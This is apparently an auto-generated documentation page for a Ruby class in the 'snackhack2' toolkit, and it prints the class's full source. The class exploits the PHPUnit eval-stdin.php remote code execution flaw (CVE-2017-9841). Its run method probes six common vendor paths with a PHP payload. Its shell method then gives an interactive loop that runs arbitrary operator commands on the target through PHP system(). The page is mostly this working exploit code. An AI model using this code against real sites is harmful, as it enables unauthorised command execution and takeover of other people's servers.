Class: Snackhack2::CVE20179841

Inherits:
Object
  • Object
show all
Defined in:
lib/snackhack2/CVE-2017-9841.rb

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(site, payload: "<?php echo md5('phpunit_rce'); ?>") ⇒ CVE20179841

Returns a new instance of CVE20179841.



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# File 'lib/snackhack2/CVE-2017-9841.rb', line 8

def initialize(site, payload: "<?php echo md5('phpunit_rce'); ?>")
  @site = site
  @payload = payload
  @vulnerable = false
end

Instance Attribute Details

#ip ⇒ Object

Returns the value of attribute ip.



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# File 'lib/snackhack2/CVE-2017-9841.rb', line 6

def ip
  @ip
end

Instance Method Details

#run ⇒ Object 



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# File 'lib/snackhack2/CVE-2017-9841.rb', line 14

def run

  paths = ["yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
    "vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
    "laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
    "laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
    "lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
    "zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"]
  paths.each do |path|
  
    uri = URI.parse(File.join(@site, path))
    request = Net::HTTP::Post.new(uri)
    request.body = "#{@payload}"

    req_options = {
      use_ssl: uri.scheme == "https",
    }
    response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
      http.request(request)
    end
    # this is the MD5 Hhash of "phpunit_rce"
    if response.body.match("6dd70f16549456495373a337e6708865")
        @vulnerable = true
        puts "THIS SITE IS vulnerable!"
        return path
    else
      puts "The site is not vulnerable.... #{File.join(@site, path)}"
    end

  end
end

#shell ⇒ Object 



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# File 'lib/snackhack2/CVE-2017-9841.rb', line 45

def shell
  # if vulnerable it passes the path
  path = self.run
  # makes sure the site is vulnerable if it 
  # is it will run a endless while loop
  if @vulnerable
    while true
        # takes input to run on the server
      
        print(">")
        input = gets.chomp
        if input.eql?("exit")
          exit
        else
          uri = URI.parse(File.join(@site, path))
          request = Net::HTTP::Post.new(uri)
          # takes the input ad run it on the host
          request.body = "<?php system('#{input}'); ?>"

          req_options = {
            use_ssl: uri.scheme == "https",
          }

          response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
            http.request(request)
          end
          puts response.body
        end
    end
  end 
end